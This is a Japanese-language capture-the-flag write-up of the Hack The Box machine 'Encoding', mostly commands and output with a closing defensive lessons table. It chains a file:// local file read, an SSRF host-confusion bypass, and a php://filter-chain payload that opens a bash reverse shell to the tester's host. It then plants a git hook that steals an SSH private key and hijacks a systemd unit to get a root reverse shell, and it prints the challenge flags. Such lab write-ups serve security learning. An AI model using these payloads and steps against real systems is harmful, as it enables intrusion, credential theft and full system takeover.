Hack The BoxのWriteup(Encoding)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Encoding — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80のみ
file_url パラメータで file:// LFI
api.haxtables.htb
Apache設定LFI読取
image.haxtables.htb (127.0.0.1限定) 発見
uri_path SSRFホスト混同
user@host URLパース悪用でACLバイパス
php_filter_chain LFI→RCE
action_handler.php の include()
www-data シェル取得
git post-commit hook
sudo -u svc git-commit.sh 悪用
svc SSH
user.txt ✓
systemd unit差替え
sudo systemctl restart *
root.txt ✓

ポートスキャン

BASH
nmap -sV -sC -p- --min-rate 3000 -T4 10.129.67.39
RESULT
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-title: HaxTables
ℹ️
/etc/hostshaxtables.htb / api.haxtables.htb / image.haxtables.htb の3つのサブドメインを事前に登録しておく (Web調査の過程でこれらが Apache の名前ベースバーチャルホストとして 使われていることが判明する)。
PHASE 2

HaxTables サイト & API 調査

サイト構成の把握

NOTE
「HaxTables」は文字列/数値の変換ツールを提供するサイト。
URL は index.php?page=string / page=integer / page=api の形式。
「API」ページには api.haxtables.htb で稼働する REST API の
Python サンプルコードが多数掲載されている。
BASH
curl -s http://haxtables.htb/index.php?page=api | grep -A5 "requests.post"

API の file_url パラメータで SSRF/LFI を発見

NOTE
api.haxtables.htb の /v3/tools/string/index.php (str2hex 等の変換API) は
data を直接渡す以外に file_url パラメータでリモートURLからデータを
取得して変換する機能を持つ。
PYTHON
import requests
json_data = {"action": "str2hex", "file_url": "http://10.10.15.200/test.txt"}
resp = requests.post("http://api.haxtables.htb/v3/tools/string/index.php", json=json_data)
print(resp.json())
RESULT
{'data': '746573740a'}   # Kali側の簡易Webサーバーへの実際のGETリクエストも確認
🚨
http://127.0.0.1/...http://image.haxtables.htb/... を 直接指定すると "Unacceptable URL" で拒否される (ホスト名ブロックリスト方式の SSRF対策)。しかしこのチェックは http(s) スキームのホスト名文字列だけを 見ており、file:// スキームの検証が漏れている。

file:// スキームでローカルファイル読み取り (LFI)

PYTHON
json_data = {"action": "str2hex", "file_url": "file:///etc/hostname"}
resp = requests.post("http://api.haxtables.htb/v3/tools/string/index.php", json=json_data)
print(bytes.fromhex(resp.json()['data']).decode())
RESULT
encoding
任意ファイル読み取り (LFI) 成功。 以降、任意のファイルパスを file:///<path> の形で渡し、レスポンスの16進数データを デコードするだけでサーバー内の任意ファイルを読み取れる。
PHASE 3

Apache 設定ファイル読み取り & image.haxtables.htb 発見

/etc/apache2/sites-enabled/000-default.conf を読み取る

PYTHON
json_data = {"action": "str2hex", "file_url": "file:///etc/apache2/sites-enabled/000-default.conf"}
resp = requests.post("http://api.haxtables.htb/v3/tools/string/index.php", json=json_data)
print(bytes.fromhex(resp.json()['data']).decode())
RESULT (抜粋)
<VirtualHost *:80>
    ServerName image.haxtables.htb
    DocumentRoot /var/www/image
    ...
    <Directory /var/www/image>
        Deny from all
        Allow from 127.0.0.1
        Options Indexes FollowSymLinks
        AllowOverride All
        Require all granted
    </Directory>
</VirtualHost>
🚨
3つ目の隠しバーチャルホスト image.haxtables.htb を発見。 アクセスは 127.0.0.1 (サーバー自身) からのみ許可されている。

image vhost 内の action_handler.php (第二の LFI) を発見

NOTE
/var/www/image 配下のファイルも同じ file:// LFI で読み取れる。
actions/action_handler.php を読むと、"page" GETパラメータを
そのまま include() しているだけのシンプルな LFI であることが判明する:

  <?php include($_GET['page']); ?>

問題は、この Directory が 127.0.0.1 限定で外部から直接アクセス
できない点。メインサイトの handler.php 経由でこの vhost に
到達させる SSRF が必要になる。
PHASE 4

uri_path SSRF ホスト混同 & php_filter_chain で RCE

handler.php / utils.php のソース読み取り (LFI)

PYTHON (handler.php の要点)
# file:///var/www/html/handler.php, file:///var/www/api/utils.php を LFI で取得

function make_api_call($action, $data, $uri_path, $is_file=false) {
    ...
    $url = 'http://api.haxtables.htb' . $uri_path . '/index.php';
    curl_setopt($ch, CURLOPT_URL, $url);
    ...
}
🚨
脆弱性発見。 メインサイト (haxtables.htb) の /handler.php は、 ユーザー入力の uri_path パラメータを 検証なしでそのまま 'http://api.haxtables.htb' . $uri_path . '/index.php' という形で URL 文字列に連結し、サーバー自身 (curl) がそのURLへリクエストを送る。

userinfo (@) を使った URL ホスト混同で 127.0.0.1 制限をバイパス

NOTE
uri_path に "x@image.haxtables.htb/actions/action_handler.php?page=...&p=" を
渡すと、連結後の最終URLは以下のようになる:

  http://api.haxtables.htbx@image.haxtables.htb/actions/action_handler.php?page=...&p=/index.php

これは RFC 3986 の "userinfo@host" 構文として解釈される。
"api.haxtables.htbx" の部分は単なるユーザー情報 (接続先ホストの決定には
一切使われない) として無視され、実際に curl が接続する先は
"@" の後ろの image.haxtables.htb になる。しかもこの HTTP リクエストは
サーバー自身の curl プロセスが発行するため、送信元IPは常に 127.0.0.1
となり、image vhost の "Allow from 127.0.0.1" 制限を正規に満たしてしまう。
末尾の "&p=" は、自動付与される "/index.php" 文字列を無害な p パラメータの
値として吸収させるための調整。
SSRF成功。 127.0.0.1 限定の image.haxtables.htb/actions/action_handler.php (page パラメータの LFI) へ、外部から間接的に到達できるようになった。

php_filter_chain_generator で LFI を RCE に昇格

NOTE
action_handler.php の include($_GET['page']) は通常のパスだけでなく
PHPのラッパーストリームも受け付ける。synacktiv 製の
php_filter_chain_generator は、php://filter の iconv 変換チェーンを
悪用し、空の入力ストリーム (php://temp) から任意の PHP コード文字列を
"合成" して生成する php://filter/... という文字列を作る。これを
page パラメータに渡すと、include() が実質的に任意PHPコードを実行する
LFI-to-RCE となる。
BASH
git clone https://github.com/synacktiv/php_filter_chain_generator.git
cd php_filter_chain_generator
python3 php_filter_chain_generator.py --chain \
  '<?php system("bash -c \'bash -i >& /dev/tcp/10.10.15.200/14444 0>&1\'"); ?>'
# => php://filter/convert.iconv.……/resource=php://temp (数百段のチェーン)
PYTHON (SSRFホスト混同経由でトリガー)
chain = "<出力されたphp://filter/...文字列>"
uri_path = f"x@image.haxtables.htb/actions/action_handler.php?page={chain}&p="
requests.post("http://haxtables.htb/handler.php",
    json={"action": "str2hex", "data": "x", "uri_path": uri_path}, timeout=8)
# system() がリバースシェルをブロックしタイムアウトするのが正常
RESULT (nc リスナー側)
listening on [any] 14444 ...
connect to [10.10.15.200] from (UNKNOWN) [10.129.67.39] 39822
bash: cannot set terminal process group (772): Inappropriate ioctl for device
bash: no job control in this shell
www-data@encoding:~/image/actions$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
RCE成功! www-data としてリバースシェルを確立した。
PHASE 5

git post-commit hook 悪用 & user.txt 取得

sudo -l で git-commit.sh の NOPASSWD 実行権限を発見

BASH (www-data シェル内)
www-data@encoding:~$ sudo -l
RESULT
Matching Defaults entries for www-data on encoding:
    env_reset, mail_badpass,
    secure_path=..., use_pty

User www-data may run the following commands on encoding:
    (svc) NOPASSWD: /var/www/image/scripts/git-commit.sh

.git ディレクトリの書き込み権限を確認

BASH
www-data@encoding:~/image$ getfacl .git/
RESULT
# owner: svc / group: svc
user::rwx
user:www-data:rwx
group::r-x
mask::rwx
other::r-x
ℹ️
git-commit.sh は「変更ファイルがあれば commit する」だけの単純なスクリプトで、 コマンドインジェクションの余地は無い。しかし .git ディレクトリへの 書き込み権限があれば post-commit フックを仕込める — フックは sudo -u svc でスクリプトが実行される際に svc 権限で実行される。

post-commit フックを設置し svc の SSH 秘密鍵を窃取

BASH
www-data@encoding:~/image$ printf '%s\n' '#!/bin/bash' \
  'cat /home/svc/.ssh/id_rsa > /tmp/.enc_id_rsa 2>&1' \
  > .git/hooks/post-commit && chmod +x .git/hooks/post-commit

# --work-tree=/ を使い、リポジトリ外の /etc/passwd をこの repo の変更として add
www-data@encoding:~/image$ git --work-tree=/ add /etc/passwd

# sudo で svc としてスクリプトを実行 → 内部で commit が走り post-commit フック発火
www-data@encoding:~/image$ sudo -u svc /var/www/image/scripts/git-commit.sh

www-data@encoding:~/image$ cat /tmp/.enc_id_rsa
⚠️
ハマりどころ: sudoers に use_pty が設定されており、 sudo は内部で新規 PTY を確保して git-commit.sh を実行する。この PTY 経由の出力は、 PTY を持たない素の /dev/tcp リバースシェル越しにはすぐにはフラッシュされず、 次のコマンドを送信した後になってようやく届くという挙動を実機検証で確認した。 git add / sudo git-commit.sh / cat を3回の個別コマンドに 分けて実行すると、直前のコマンドの出力が現在のコマンドの応答バッファに紛れ込み、 鍵の抽出に失敗することがある。; で1本のコマンドに連結し、 待機するマーカーを最後の1個だけにすることで確実に回避できる。
RESULT
[master xxxxxxx] Commited from API!
 1 file changed, 35 insertions(+)
 create mode 100644 etc/passwd
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
...(省略)...
-----END OPENSSH PRIVATE KEY-----
svc の SSH 秘密鍵を窃取できた。

svc として SSH ログイン & user.txt 取得

BASH
chmod 600 svc_id_rsa
ssh -i svc_id_rsa svc@10.129.67.39 "id; cat ~/user.txt"
RESULT
uid=1000(svc) gid=1000(svc) groups=1000(svc)
818d3830243d9483131f8d73bac233c2
user.txt — svc
818d3830243d9483131f8d73bac233c2
PHASE 6

systemd ユニットハイジャック → root.txt

svc の sudo 権限と /etc/systemd/system の ACL を確認

BASH
svc@encoding:~$ sudo -l
svc@encoding:~$ getfacl /etc/systemd/system
RESULT
User svc may run the following commands on encoding:
    (root) NOPASSWD: /usr/bin/systemctl restart *

# file: etc/systemd/system
# owner: root
user::rwx
user:svc:-wx
group::rwx
mask::rwx
other::r-x
🚨
svc は /etc/systemd/system ディレクトリへの書き込み・実行(-wx)権限を 直接 ACL で付与されており (読み取り不可なので ls はできない)、かつ systemctl restart <任意の名前> を root として NOPASSWD で実行できる。 任意の新規 unit ファイルを配置して restart すれば root 権限のプロセスを起動できる。

悪性 systemd unit を配置

BASH (Kali側でリスナー起動)
nc -lnvp 14445
BASH (unit ファイルとシェルスクリプトを作成)
cat > pwn.service << 'EOF'
[Unit]
Description=Fake Application
[Service]
ExecStart=/tmp/.enc_root_shell.sh
[Install]
WantedBy=default.target
EOF

cat > enc_root_shell.sh << 'EOF'
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/10.10.15.200/14445 0>&1'
EOF

scp pwn.service enc_root_shell.sh svc@10.129.67.39:/tmp/
ssh svc@10.129.67.39 "chmod +x /tmp/enc_root_shell.sh; \
  cp /tmp/enc_root_shell.sh /tmp/.enc_root_shell.sh; \
  cp /tmp/pwn.service /etc/systemd/system/pwn.service"
⚠️
/etc/systemd/system への書き込みは svc 自身の ACL 権限で直接可能なため sudo は不要 (sudo cp はパスワードを要求され失敗する点に注意)。 sudo が許可されているのはあくまで systemctl restart のみ。 また、事前に systemctl daemon-reload を実行する必要は無く (この操作自体も NOPASSWD 対象外)、新規 unit ファイルは systemctl restart <name> だけで正しく読み込まれる。

サービスを再起動しroot権限を取得

BASH
ssh svc@10.129.67.39 "sudo /usr/bin/systemctl restart pwn.service"
RESULT (nc :14445 リスナー側)
listening on [any] 14445 ...
connect to [10.10.15.200] from (UNKNOWN) [10.129.67.39] 40330
bash: cannot set terminal process group (1835): Inappropriate ioctl for device
bash: no job control in this shell
root@encoding:/# whoami
root
root@encoding:/# cat /root/root.txt
643a9a89e67481489cfdc112da6181a5
root.txt — root (systemd unit hijack)
643a9a89e67481489cfdc112da6181a5
権限昇格成功。 systemd が新しい unit ファイルを読み込み、 ExecStart で指定したリバースシェルスクリプトを root 権限で起動した。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — svc
818d3830243d9483131f8d73bac233c2
root.txt — root (systemd unit hijack)
643a9a89e67481489cfdc112da6181a5

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
file:// スキーム LFI api.haxtables.htb /v3/tools/string/index.php 任意ファイル読み取り High file_url パラメータのホスト名ブロックリストが file:// スキームの検証漏れ
uri_path SSRF (host confusion) haxtables.htb /handler.php 127.0.0.1限定vhostへの到達 + LFI-to-RCE Critical userinfo@host URL構文で curl の接続先ホストを混同させ、127.0.0.1限定の image vhost へサーバー自身から到達。php_filter_chain と組み合わせ RCE (as www-data)
sudo NOPASSWD git-commit.sh + hooks /var/www/image/.git (www-data:rwx ACL) svc への横展開 High post-commit フックを仕込み sudo -u svc 実行時に svc 権限でコード実行、SSH秘密鍵を窃取
systemd unit ハイジャック /etc/systemd/system (svc:-wx ACL) + sudo systemctl restart * root権限昇格 High 任意の新規 unit ファイルを配置し NOPASSWD の systemctl restart でroot権限プロセスを起動

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap22/80のみ、HaxTablesサイト
2API調査file_url パラメータ探索file:// スキームLFIを発見
3LFIApache設定ファイル読取隠しvhost image.haxtables.htb (127.0.0.1限定) 発見
4SSRF+RCEuri_path host confusion + php_filter_chainwww-data シェル
5横展開git post-commit hook 悪用user.txt 取得 (svc)
6権限昇格systemd unit ハイジャックroot.txt 取得

学んだ教訓 & 防御策

問題点防御策
URL スキームのブロックリスト検証が file:// を見落としている SSRF対策はブロックリストでなく許可リスト (http/https のみ許可) で実装し、加えてスキームだけでなくホスト名 (127.0.0.1/localhost/内部IPレンジ) も厳格に検証する。
ユーザー入力を検証なしに URL 文字列へ連結し、サーバー自身がリクエストを送信する (SSRF + userinfo@host 混同) PHPの parse_url() 等でURLを構造的にパースし、ホスト名フィールドのみを厳格に検証してから再構築する。文字列連結でURLを組み立てない。
include() にユーザー制御のパスをそのまま渡す (LFI)、かつ php://filter 等のラッパーを許可 include するファイルパスは許可リスト化するか、ラッパースキームを明示的に拒否する (allow_url_include=Off に加え独自のホワイトリスト検証)。
sudo で許可した対象スクリプトが操作する Git リポジトリに、実行ユーザー自身が書き込み権限を持っている (hooks 悪用の温床) sudo で svc として実行させるスクリプトが触るディレクトリ (.git含む) は、呼び出し元ユーザー (www-data) から書き込み不可にする。少なくとも .git/hooks は別途保護する。
ACL で特定ディレクトリへの書き込み権限のみを持つユーザーに、そのディレクトリ内のファイルを反映する特権コマンド (systemctl restart) の無制限 NOPASSWD 実行を許可 sudo の対象コマンドは特定のユニット名に限定する (systemctl restart myapp.service のようにワイルドカードを避ける)、または ACL 付与自体を必要最小限に絞る。
HackTheBox: Encoding | 完全攻略レポート